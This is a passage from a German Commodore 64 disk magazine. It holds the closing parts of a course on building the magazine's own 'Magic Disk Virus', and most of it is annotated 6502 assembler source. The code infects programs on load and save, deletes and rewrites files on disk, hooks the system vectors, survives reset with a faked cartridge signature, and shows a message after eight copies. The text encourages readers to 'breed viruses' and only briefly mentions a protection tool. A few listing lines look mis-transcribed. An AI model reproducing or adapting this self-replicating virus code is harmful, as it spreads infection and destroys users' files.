wir immer nur einen Wert herunterzuzählen und zu prüfen, ob schon alle Bytes kopiert wurden. NAMEBUF ist
übrigens auch ein Label für einen Speicher, diesmal
am Ende des Quellistings, in dem 16 Bytes ( so lang
darf der Filename maximal sein) für den Filenamen
Platz sind.
Warum in diese Adresse "+2" gespeichert werden muß
und nicht gleich an die Adresse NAMEBUF, wird später
noch erklärt.
Jetzt wird erst der Akkuinhalt wieder vom Stack
geholt und weiter geht' s mit den Betriebssystemroutinen.
Hiermit wären wir auch gleichzeitig am Ende dieses
Kursteils angekommen. Nächsten Monat wollen wir dann
die Fortpflanzung endlich ganz abhaken.
Bis dahin wünschen wir Ihnen jedenfalls viel Spaß
beim Virenzüchten.
Heute sind wir am fünften und somit vorletzten Teil
des Virenkurses angelangt. An dieser Stelle halten
wir es für nötig, Ihnen zu sagen, wie Sie sich gegen
den Magic Disk Virus schützen können. Zahlreiche
Anrufe haben uns seit der Erstveröffentlichung des
Virus erreicht. Alle hatten die Frage zum Inhalt, wie
man sich gegen den Virus schützen kann oder wie man
eine infizierte Diskette wieder bereinigt.
Die Lösung dieses Problems heißt " Protector" und ist
ein kleines Programm, daß Sie neben den Utilities und
Games dieses mal auf der Magic Disk finden.
Eine Anleitung erübrigt sich, da das Programm über
eine gut dokumentierte Tastensteuerung verfügt.
Starten Sie den Protector bitte aus dem Game-Menü
oder " von Hand" durch:
LOAD" PROTECTOR",8
und anschließendem RUN. Jetzt aber zurück zum eigentlichen Kurs.
Heute, beim 5 . Teil des Virenkurses, wollen wir
endlich das Thema Fortpflanzung abhaken. In den letzten Teilen hatten wir uns ja schon gründlich damit
auseinandergesetzt. Fassen wir also zusammen:
Wir wissen nun, daß sich unser Virus beim SAVEn eines
Programms vermehren kann. Dies tut er, indem er sich
VOR ein zu infizierendes Programm hängt. Soweit - sogut.
Die Probleme, die auftreten, wenn er sich beim Laden
vermehren soll, nämlich die Tatsache, daß der Filename mitgerettet werden muß, haben wir auch gemeistert. Wir haben nun beim Ladevorgang den Filenamen
sicher in einem Speicher stehen, so daß wir nun fortfahren können mit dem Vorgang der Vermehrung beim
Laden.
Wie gesagt haben wir den Filenamen gerettet. Wie
haben natürlich auch geprüft, ob unser Programm an
den Basicstart ($0801) geladen wird, damit wir keine
Daten zerstören können. Auch dies war der Fall, das
heißt, alle Voraussetzungen, das File nun endgültig
infizieren zu dürfen, sind erfüllt - bis auf eine, die wir aber erst testen können, nachdem wir das entsprechende Programm geladen haben. Erfüllen wir
Ihm endlich diesen Wunsch und springen einmal zur
Laderoutine. Anschließend haben wir dann erst einmal
unser zu infizierendes Programm im Speicher stehen.
Um dies etwas besser zu erläutern folgt zunächst erst
einmal ein Auszug aus dem Sourcelisting:
1520- jsr $ f4 e5 ; Sprung zur Laderoutine 1530- bcc inftest ; wenn kein Fehler, dann weiter 1540- rts ; sonst Goodbye. . .
In Zeile 1520 sehen Sie den Sprung zur Laderoutine.
Wenn der Prozessor von dort zurückkehrt, haben wir
das Programm im Speicher. Da es aber nun auch sein
kann, daß während dem Ladevorgang ein Fehler aufgetreten ist und somit eine Infektion verheerende Folgen haben könnte ( Zerstörung von Daten!), müssen wir
erst noch auf Fehler testen. Dies ist sehr einfach, da die Loadroutine im Carryflag die Information
zurückgibt, ob beim Laden ein Fehler aufgetreten ist
oder nicht. Bei einem Fehler ist dieses Flag gesetzt
und das Virusprogramm wird abgebrochen. Ansonsten
wird weiterverzweigt zur Routine INFTEST:
1610 - inftest ldy #17 ;Pointer laden 1620 - loop7 lda $0801,y ;Vergleichsbyte laden 1630 - cmp data,y ;und vergleichen 1640 - bne scratch ;ungleich, dann weiter 1650 - dey ;Zähler runterzählen 1660 - bpl loop7 ;und weiter 1670 - jmp ($a002) ;infiziert - auf BASIC
Wie der Name schon vermuten läßt, dient diese Routine
dazu, zu testen, ob ein geladenes Programm schon infiziert ist. Dies geschieht, indem die Routine prüft, ob die ersten 18 Bytes des geladenen Programms mit
den ersten 18 Bytes des Virus übereinstimmen.
Daß nur die ersten 18 Bytes getestet werden, hängt
mit dem Protector zusammen. WIrd mit ihm ein File geschützt, so werden vor dieses File die ersten 18 Bytes des normalen Virusprogramms gehängt. Beim Laden
glaubt der Virus nun, daß er schon ein infiziertes
Programm vor sich hätte und überspringt hier die
Infizierung.
Sollte eines der ersten 18 Bytes ungleich den ersten
Virusbytes sein, so wird sofort zur nächsten Routine
( SCRATCH) verzweigt. Andernfalls wird auf die Routine
in $ a002 verzweigt - das ist der normale Warmstart
des Commodore-Basic.
Nun eine kleine Einsicht in die SCRATCH-Routine:
1700 -scratch lda #01 ;Logische Filenummer 1710 - ldx #08 ;Devicenummer 1720 - ldy #15 ;Kanalnummer 1730 - jsr setpar ;Parameter setzen 1740 - lda lengnam ;Namenslänge laden 1750 - clc ;und 1760 - adc #02 ;2 addieren 1770 - ldx #<(namebuff) ;Buffer-LO laden 1780 - ldy #>(namebuff) ;Buffer-HI laden 1790 - jsr setnam ;Name setzen 1800 - jsr open ;File öffnen 1810 - lda #01 ;und File #1 1820 - jsr close ;wieder schließen
Diese Routine tut nichts anderes, als das File, daß
unser Virus infizieren soll, von Diskette zu löschen, um das infizierte gleich danach wieder draufschreiben zu können. Dies funktioniert denkbar einfach: Wie
wir ja wissen, würde in Basic die Befehlsfolge zum
Löschen eines Files auf Diskette folgendermaßen aussehen:
OPEN 1,8,15,"S:FILENAME" : CLOSE 1
Und genau das tun wir auch in Assembler. Wir öffnen
ein File mit den Parametern:
Logische Filenummer = 1 Geräteadresse = 8 Kanalnummer = 15 (=Befehlskanal)
Wie diese Parameter dann übergeben werden, wissen wir
auch schon, nämlich mit der SETPAR-Routine im ROM des
C64 . Weiter geht es mit der Übergabe des Filenamens.
Hier ist allerdings zu beachten, daß zur Länge des
Filenamens 2 addiert werden muß, da der Name aufgrund
des vorangestellten " S:" um 2 Zeichen länger wird.
Dies geschieht in den Zeilen 1740 bis 1760 . Die Speichervariable LENGNAM kennen wir ja schon; wir hatten
darin die Länge des Filenamens zwischengespeichert.
In den folgenden zwei Zeilen sehen Sie jetzt auch, warum wir beim Laden bei der Angabe des Filenamens
NAMEBUFF+2 angeben mußten. Sehen Sie sich einmal folgende Zeilen an. Sie stehen ganz am Ende des Quellcodelistings:
10190 - namebuff .tx "s:" 10200 - ende .by 0
Wie man sieht, haben wir den Filenamen ab dem Label
" ende" abgelegt, das heißt, wir haben den Filenamen
direkt hinter den Text " S:" in den Speicher geschrieben. Dieser Text fängt genau beim Label
NAMEBUFF an. Also steht nun im Speicher ab NAMEBUFF
folgender Text:
S: FILENAME ( Filename steht für irgendeinen Namen)
. . . womit wir auch schon den Namen hätten, mit dem das
zu Scratch-File geöffnet werden muß. Nun haben wir
nur noch ein LOund ein HI-Byte von NAMEBUFF zu
laden und SETNAM aufzurufen, was in den Zeilen 1770 bis 1790 geschieht.
Als nächstes rufen wir die OPEN-Routine des Betriebssystems auf. Sie öffnet ein logisches File mit den
durch SETPAR übergebenen Parametern und dem durch
SETNAM festgelegten Namen. Anschließend wird gleich
die CLOSE-Routine aufgerufen, die genauso funktioniert wie der Basic-Befehl CLOSE, nur daß hier die
Filenummer ( in diesem Fall 1) im Akku übergeben werden muß ( siehe Zeile 1810) .
Das wäre geschafft. Das alte Programm ist gelöscht, womit wir wieder Platz haben, das neue ( infizierte) Programm abzuspeichern. Vorher müssen wir allerdings
noch etwas berücksichtigen: Es könnte ja sein, daß
der User, der sein Prorgramm laden wollte, den Joker
"*" benutzt hat, um den Programmnamen abzukürzen. Um
zum Beispiel " FILENAME" zu laden, hat er einfach nur
LOAD" FIL*",8 eingegeben.
Wir wissen aber, daß man keinen Programmnamen, der
einen "*"- oder " ?"- Joker enthält, beim SAVEn eines
Programmes nicht verwenden darf. Die Floppy würde
einen SYNTAX ERROR zurücksenden. Um diesen Effekt zu
verhindern, dient die nun folgende Routine ( sie folgt
direkt im Anschluß an die SCRATCH-Routine) :
1840 - ldy lengnam ;Länge als Zeiger 1850 - lda namebuff+1,y ;letztes Zeichen 1860 - cmp #"*" ;vergleiche mit "*" 1870 - bne cont ;ungleich 1880 - dey ;Zeiger runterzählen
In Zeile 1840 laden wir die Länge des Filenamens in
das Y-Register. Wir benutzen es nun als Pointer und
holen uns das letzte Byte aus dem Namenspuffer ( hier
heißt es NAMEBUFF+1) . Dann wird mit dem Stern (*) verglichen. Ist das letzte Zeichen kein Stern, so
wird weiterverzweigt zur Routine CONT. Andernfalls
wird die Filenamenlänge im Y-Register um 1 heruntergezählt, um den Joker auszuschließen. Dann geht es
ebenfalls weiter mit der Routine CONT.
Das zu infizierende Programm wird nun unter einem
kürzeren Namen abgespeichert, in unserem Beispiel ist
es der Name " FIL" . Das könnte einen User stutzig
machen, doch ist es die einzige Möglichkeit, das File
wiedererkennbar abzuspeichern.
Doch nun weiter mit CONT. Da wir nun alle einleitenden Schritte erledigt haben, können wir gleich beim
SAVEn fortfahren. Dazu rufen wir einfach die Routine
SAVE des Betriebssystems auf, welche ein Programm auf
Diskette abspeichert. Das ist genau die Routine, die
wir schon früher so modifiziert haben, daß sich unser
Virus vor das abzuspeichernde Programm hängt. Wir
rufen also ganz normal SAVE auf - der Virus übernimmt
dann schon den Rest.
Hier wieder ein kleiner Auszug aus dem Source-Listing. Wie die SAVE-Routine funktioniert, haben wir
ja im 2 . Teil des Kurses bereits ausführlich besprochen.
1920 -cont tya ;Namenslänge in Akku 1930 - ldx #<(namebuff)+2 ;Namenspuffer LO 1940 - ldy #>(namebuff)+2 ;Namenspuffer HI 1950 - jsr setnam ;Name setzen 1951 - ldx #08 ;Geräteadresse laden 1952 - jsr setpar ;Parameter setzen 1960 - ldx #01 ;Startadresse LO und 1970 - ldy #08 ;HI laden 1980 - stx $c1 ;und 1990 - sty $c2 ;abspeichern 2000 - ldx $ae ;Endadresse LO und 2005 - ldy $af :HI laden 2010 - jsr save ;SAVE aufrufen 2020 - jmp saveerror ;und weiter...
Wie Sie sehen, ein ganz normaler Aufruf, so wie wir
ihn auch in Teil 2 schon hatten. Nur am Schluß wird
weiterverzweigt auf SAVEERROR; die letzte Routine, die wir heute besprechen wollen:
2211 -saveerror lda status ;Status laden 2212 - bne shit ;<>, dann Fehler 2213 - rts ;nicht, dann fertig 2214 -shit lda #<(errortext);Text LO 2215 - lda #>(errortext);Text HI 2217 - jmp strout ;und ausdrucken
Diese Routine fragt das Statusbyte ab, das haargenau
der Statusvariablen ST in Basic entspricht. Ist ein
Fehler beim SAVEn aufgetreten, z. B. DISK FULL oder
ähnliches, so ist hier irgendein Bit gesetzt. Ist das
der Fall, so wird weiterverzweigt zum Label SHIT.
Dort wird dann - wieder mit einer Betriebssystemroutine, nämlich STROUT - ein Text ausgegeben. Der auszugebende Text steht in den Zeilen 10075 bis 10120 :
10075 -errortext .by 13 10080 -.tx "Der Magic Disk-Virus ist in diesem" 10081 -.by 13 10090 -.tx "C64!!! Daten wurden zerstört !" 10091 -.by 13 10100 -.tx "Bitte Programm auf einer anderen Disk" 10101 -.by 13 10110 -.tx "abspeichern !!!" 10120 -.by 13,14,0
Der Bytewert 13 steht für Carriage Return, um den
Text ein wenig zu formatieren. Die 14 am Ende schaltet auf Kleinschrift um. STROUT kehrt nach dem Ausdrucken dieses Textes zum normalen Basic zurück.
Damit wären wir am Ende des 5 . Teils angelangt. Im 6 .
und letzten Teil in der nächsten Ausgabe erfahren Sie
noch etwas über die Initialisierungsroutine und das
kleine Gag-Programm.
Heute, im 6 . und letzten Teil des Virenkurses wollen
wir noch die bisher unbehandelten kleinen, aber nicht
unwichtigen Routinen besprechen, die unserem Virus
das Leben im C64 ermöglichen.
Mittlerweile wissen wir ja schon, wie sich unser
kleiner Freund vermehrt, nämlich mit Hilfe der LOADund SAVE-Vektoren, über die er sich sozusagen ins
System " reinhängt" und sich somit bei einem Ladeoder Speichervorgang problemlos vor ein noch nicht
infiziertes Programm hängen kann.
Nun wollen wir uns mit der Initialisierungsroutine
beschäftigen, die z. B. die Aufgabe hat, eben diese
Vektoren zu " verbiegen" . Der aufmerksame Leser wird
sie sicher schon gefunden haben. Sie heißt sinnigerweise INIT und steht im Sourcelisting ab Zeile 2072 :
2072 -init lda #01 ;Copyzähler 2073 - sta copy ;initialisieren
In diesen zwei Zeilen wird der Zähler für die Anzahl
der bisher gemachten Kopien des Virus auf 1 gesetzt.
Dieser Zähler ist ein einzelnes Byte im Quelltext
( bei Zeile 2203), das jedesmal, wenn sich der Virus
erfolgreich kopiert hat um 1 erhöht wird. Nach jeder
Kopie prüft die Saveroutine nämlich, ob sich der
Virus schon acht mal kopiert hat. Sollte dies der
Fall sein, dann wird zu der bereits erwähnten Gagroutine verzweigt, die ab Zeile 5060 steht. Diese
Routine läßt erst eine kleine Spriteanimation ablaufen und teilt dem verdutzten C64- Besitzer dann die
Existenz des Virus mit. Hier ein Auszug aus der Saveroutine:
2810 - jsr savecont 2812 - jsr saveerror 2820 -; 2830 - asl copy ;copy linksrotieren 2840 - bcs gag ;Carry gesetzt, dann Gag 2850 - rts ;noch nicht 8 mal kopiert
Die Zeilen 2810 und 2812 kennen Sie ja noch aus der
letzten Ausgabe, deshalb erfolgt hier keine Erklärung. In Zeile 2830 wird der Inhalt der Speicherzelle
COPY nach links rotiert. Das heißt, daß der Startwert
( nämlich 1), den wir am Anfang von INIT hineingeschrieben hatten, solange weitergeschoben wird, bis
er ins Carryflag überläuft. Und da ein Byte acht Bit
besitzt, muß acht mal rotiert werden, damit dieser
Fall eintritt.
Wenden wir uns nun wieder der INIT-Routine zu:
2080 -init2 ldy #03 ;Zähler laden 2090 -loop3 lda tab,y ;Vektortabelle 2100 - sta $0330,y ;umkopieren 2110 - dey ;Zähler herunterzählen 2120 - bpl loop3 ;Fertig? 2130 -; 2140 - ldy #08 ;Ja -> Zähler laden. 2150 -loop4 lda cbm,y ;Reset-Kennung 2160 - sta $8000,y ;umkopieren 2170 - dey ;Zähler herunterzählen 2180 - bpl loop4 ;Fertig? 2190 -; 2200 - rts ;Feritg!
Hier wird nun zweimal eine Tabelle weiterkopiert. Und
zwar nach dem selben Schema, nach dem wir auch den
Filenamen in der LOAD-Routine umkopiert haben.
In der ersten Schleife wird in die Bytes $0330 bis
$0333 geschrieben. Dies sind die Bytes der LOADund
SAVE-Vektoren ( Load=$0330,$0331 ; Save=$0332,$0333) .
Sehen wir uns nun die Tabelle an, die umkopiert wird:
10070- tab . wo load, save
Hier haben wir es wieder mit einem sog. Pseudo-Opcode
des Hypra-Ass Assemblers zu tun. Genau wie man bei
dem Opcode " . eq" einer Konstanten einen Wert zuweist
oder mit " . by 255" den Assembler dazu veranlaßt, an
diese Stelle den Wert 255 zu schreiben, so wird mit
dem " . wo"( wie WOrd, was eine Bezeichnung für ein 16- Bit-Wort ist, sowie " . by" die Bezeichnung für ein
Byte zu 8 Bit ist) eine Konstante bzw. in unserem
Fall ein Label im LO/ HI-Format hier abgelegt.
Die zweite Schleife der INIT-Routine ist für den
RESET-Schutz zuständig. In der RESET-Routine fragt
das Betriebssystem die Speicherzellen $8004 bis $8008 ab, ob hier der ASCII-Code " CBM80" steht. Sollte dies
der Fall sein, so glaubt das Betriebssystem, daß ein
Modul in den Expansion-Port gesteckt ist und es wird
über den Vektor in $8000/$8001 gesprungen, anstatt
einen " normalen" Reset auszuführen.
Diese Tatsache machen wir uns nun zu Nutze. Wir
" simulieren" nämlich ein angestecktes Modul durch
diese Kennung. Das Betriebssystem glaubt nun, es wäre
ein Modul eingesteckt und springt über den Vektor in
$8000/$8001, und damit genau in unsere eigene Virus-Resetroutine. Diese steht ab Programmzeile 930 :
930 -reset stx $d016 ;Videocont. Steuerreg.2 940 - jsr $fda3 ;Interrupt vorbereiten 950 - jsr $fd50 ;RAM-Check 960 - jsr $fd15 ;Vektoren setzen 970 - jsr $ff5b ;Video-Reset 980 - cli ;IRQ zulassen 990 - jsr init2 ;Virus starten 1000 - jmp ($a000) ;BASIC-Kaltstart
Diese Routine ist fast gänzlich aus dem normalen
Betriebssystem übernommen. Der einzige Unterschied
ist hier die Zeile 990 . Nachdem das Betriebssystem
alle Vektoren wieder in den Originalzustand versetzt
hat, müssen wir hier wieder den Virus initialisieren.
Es wird hier nicht auf INIT gesprungen, sondern auf
INIT2, da ja der Zähler für die Anzahl der schon gemachten Kopien nicht neu gesetzt werden soll.
Vor einem RESET braucht sich unser Virus also nicht
mehr zu fürchten. Was ihm jetzt noch zustoßen könnte, wäre ein Druck auf die RUN/ STOP-RESTORE- Tasten.
Diese Kombination haben wir aber schon mit abgefangen, nämlich ebenfalls durch die CBM80- Kennung. Ist
diese vorhanden, so wird über den Vektor $8002/$8003 gesprungen, der natürlich ebenfalls in unser Virusprogramm zeigt. Und zwar auf die Routine, die ab
Zeile 840 im Quellisting steht:
840 -restore jsr $fd15 850 - jsr $fda3 860 - jsr $e518 870 - jsr init2 880 - jmp ($a002)
Gleiches Spiel wie bei RESET, nur weniger aufwendig, da hier weniger passiert.
Es folgt nun die Tabelle, die in der INIT-Routine umkopiert wird:
10050-cbm .wo reset,restore 10060- .tx "CBM80"
Jetzt möchte ich Ihnen noch die Funktion der Routinen
ganz am Anfang des Sources erklären. Werfen wir
einmal einen kleinen Blick auf den Beginn des
Listings:
140 -data .by $15,$08,$0a,$00,$93 150 -.tx "2071:md-virus!" 160 -.by 0,0,0 170 -;******************************** 180 -copyup lda $af 190 - pha 200 - nop 210 - ldy #$08 220 - stx $5f 230 - sty $60 240 - ldx #<(realend) 250 - ldy #>(realend) 260 - stx $5a 270 - sty $5b 280 - ldx #$f0 290 - ldy #$cf 300 - stx $58 310 - sty $59 320 - jsr $a3bf 330 - jmp xxxx
Dies sind die ersten Bytes unseres Virus, die auch
als allererstes an die Floppy geschickt werden, wenn
unser kleiner Freund sich fortpflanzt. Die ersten
drei Zeilen stellen folgendes Basicprogramm dar:
10 SYS2071 : MD-VIRUS!
Mit dem SYS-Befehl wird die in Zeile 180 folgende
COPYUP-Routine aufgerufen. Der Text " MD-VIRUS!" hat
nur eine kommentierende Wirkung. In jener COPYUP-Rou- tine wird als erstes der Virus in einen Speicherbe- reich kopiert, wo er etwas sicherer aufgehoben ist, nämlich in den Bereich $ cbaf bis $ cff0 . Dies
geschieht mit Hilfe einer Routine aus dem BASIC-ROM, nämlich der Routine MOVE. Sie wird folgendermaßen
aufgerufen:
$5 f/$60 : Startadresse des zu kopierenden Blocks $5 a/$5 b : Endadresse des zu kopierenden Blocks $58/$59 : Neue Endadresse des zu kopierenden Blocks Startadresse:$ a3 bf
Nachdem der Virus kopiert ist, muß dieser das infizierte Programm wieder nach unten kopieren, nämlich
an den normalen Basic-Start $0801 . Dies macht die
folgende Routine:
350 -start lda #$36 360 - sta $01 370 -; 371 - ldx #00 372 - ldy #08 373 - stx lab5+1 374 - sty lab5+2 380 - ldx #<(realend) 390 - ldy #>(realend) 400 - stx $fb 410 - sty $fc 420 - ldx $ae 421 - ldy $af 423 - stx $f9 424 - sty $fa 460 -; 470 - ldy #00 475 - ldx #01 480 -loop8 lda ($fb),y 490 -lab5 sta $0801,x 500 - inx 510 - bne lab4 520 - inc lab5+2 530 -lab4 jsr inccount 540 - bcc loop8 640 -; 660 - ldy lab5+2 670 - stx $ae 680 - sty $af 690 - stx $2d 700 - sty $2e 710 -; 720 - lda #$37 730 - sta $01 740 -; 750 - jst init 760 - jsr $a659 770 - jmp $a7ae
Diese Aufgabe kann allerdings nicht mehr von MOVE
übernommen werden, da es auch sehr gut möglich sein
kann, daß das infizierte Programm bis unter das ROM
geht ( ab $ a000) . Also muß dieses ROM weggeblendet
werden, und wir müssen mit einer eigenen Routine arbeiten. Diese steht hier in den Zeilen 480 bis 540 .
Die folgenden Zeilen haben noch die Aufgabe, die
Basic-Vektoren neu auszurichten ( Anfang und Ende des
Programms), da das Programm durch den Virus ja länger
wurde. In Zeile 720 bis 730 wird das Basic-ROM wieder
eingeblendet, nachdem es in den Zeilen 350 und 360 ausgeschaltet wurde. Anschließend wird noch INIT aufgerufen, um den Virus zu aktivieren.
In den Zeilen 760 bis 770 wird dann ein RUN-Befehl
ausgeführt, der das Programm ganz normal startet.
Der Programmierung des kleinen " Gags" soll hier keine
weitere Aufmerksamkeit geschenkt werden, da dies ja
nur ein Nebeneffekt des Virus ist. Seine Programmierung ist außerdem nicht sehr kompliziert, so daß es
jedem möglich sein sollte, diesen Programmteil zu
durchschauen.
Nun sind wir also am Ende unseres Virenkurses angelangt. Ich hoffe, es hat Ihnen ein bißchen Spaß gemacht, der Arbeitsweise eines Virusprogramms gedanklich zu folgen. Sicher ist Ihnen aber auch einiges
über die Funktionsweise eines Virusprogramms klar
geworden. In diesem Sinne kann ich Ihnen nur noch
viel Glück im " Kampf" gegen andere, nicht so harmlose Viren wie den MDV wünschen.
Sicher erinnern Sie sich noch an unsere Fragebogenaktion in der Magic Disk. Bei der Auswertung dieser
Aktion ist uns aufgefallen, daß es immer noch sehr
viele C64- Besitzer gibt, die Anfänger auf dem Gebiet
der Programmierung Ihres C64 sind.
Aus diesem Grund haben wir uns entschlossen, die
Rubrik " Kurs" in den nächsten Ausgaben nicht mehr so
fachbezogen zu gestalten, sondern zunächst einen über
mehrere Ausgaben gehenden Basic-Programmierkurs zu
veröffentlichen.
Damit kommen wir dem Wunsch vieler Leser nach, die
zwar Programmieren lernen wollen, sich aber scheuen, den manchmal dichten Dschungel der Fachliteratur zu
durchwandern.
An den Basickurs werden sich dann wieder mehr fachbezogene Kurse anschließen. Mögliche Themen hierzu sind
künstliche Intelligenz, Maschinensprache, Grafik und
und und. Schreiben Sie uns Ihre Wünsche und Vorstellungen, denn Magic Disk 64 ist und bleibt ein Magazin
von Lesern für Leser.